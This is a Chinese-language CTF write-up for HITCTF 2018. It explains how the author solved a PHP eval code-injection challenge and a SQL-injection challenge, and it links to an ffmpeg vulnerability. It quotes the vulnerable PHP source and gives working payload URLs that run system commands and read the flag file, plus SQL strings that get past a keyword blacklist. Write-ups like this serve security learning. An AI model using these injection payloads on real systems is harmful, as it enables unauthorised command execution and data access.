HITCTF2018总结

Feb 3, 2018 09:54 · 221 words · 2 minute read ctf

caidekoujiao..

BabyEval

右键得到源码

<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->

可以看到关键函数eval,构造payload

http://120.24.215.80:10013/?str=${system(ls)}

得到的回显只有index.php。 于是猜测falg是不是在源码中,于是构造得到index.php源码的payload

http://120.24.215.80:10013/?str=${${highlight_file(base64_decode(aW5kZXgucGhw))}}
#aW5kZXgucGhw解码后即为index.php

源码

<?php
$str=@(string)$_GET['str'];

function blackListFilter($black_list, $var){
    foreach ($black_list as $b) {
        if(stripos($var, $b) !== False){
            die("Invaild str: $b\n");
        }
    }
}

$black_list = ["'", '"'];
blackListFilter($black_list, $str);

eval('$str="'.addslashes($str).'";');
?>
<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->

然而并没有,可以在翻翻其他目录,最后看到flag在根目录下 payload

#查看目录
http://120.24.215.80:10013/?str=${${system(base64_decode(bHMgLi4vLi4vLi4v))}}
#查看flag
http://120.24.215.80:10013/?str=${${system(base64_decode(Y2F0IC4uLy4uLy4uLy4uLzE2MjkyMDk3NmQ5YzA0YWM2OWUyZjQzOTJhOGNmZmJmX2ZsYWcudHh0))}}

注意的是base64编码时,不能将单引号(‘)也编码,否则会得不到结果。 如下

bHMgLi4vLi4vLi4v   //ls ../../../   #可以得到回显

J2xzIC4uLy4uLy4uLyc //'ls ../../../' #得不到回显

原因在这段代码

eval('$str="'.addslashes($str).'";');

这里的eval中用的是单引号包裹字符串,如果base64解码后产生单引号的话,就会和eval包裹字符串的单引号闭合,从而得不到回显。

大佬的payload

#利用反引号执行命令。
http://120.24.215.80:10013/index.php?str=${var_dump(`cat%20../..				/../162920976d9c04ac69e2f4392a8cffbf_flag.txt`)}

#传参带入命令。
http://120.24.215.80:10013/?str=${system($_GET[a])}&a=ls ../../../

BabyInjection

这个题 题目给了源码

<?php
error_reporting(0);

if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
    echo 'Login and get the flag';
	echo '<form action="" method="post">'."<br/>";
	echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
	echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
	echo '<input type="submit" ></input>'."<br/>";
	echo '</form>'."<br/>";
    die;
}

$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";

$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
    die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
    die("Hacker hacker hacker~");
}

$conn = mysqli_connect();

$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
    $result = mysqli_fetch_array($query);
    if ($result['passwd'] == $passwd){
        die('you did it and this is your flag: '.$flag);
    }
    else{
        die('Wrong password');
    }
}
else{
    die('Wrong username');
}

从代码的正则可以看到过滤了很多关键字,赛后看了一叶飘零大佬的解法,是用group by … with rollup这个mysql的用法来绕过,实验吧有一道题目用的就是这个方法。当时还记过,然而我并没有想起来。 这里直接写payload

'=0 group by passwd with rollup having passwd <=> null#

' || 1=1 group by passwd with rollup having passwd is null#

盲注payload

1' or pass<''=0#

小电影

利用的是ffmpeg的漏洞 > http://www.freebuf.com/vuls/138377.html

tweet Share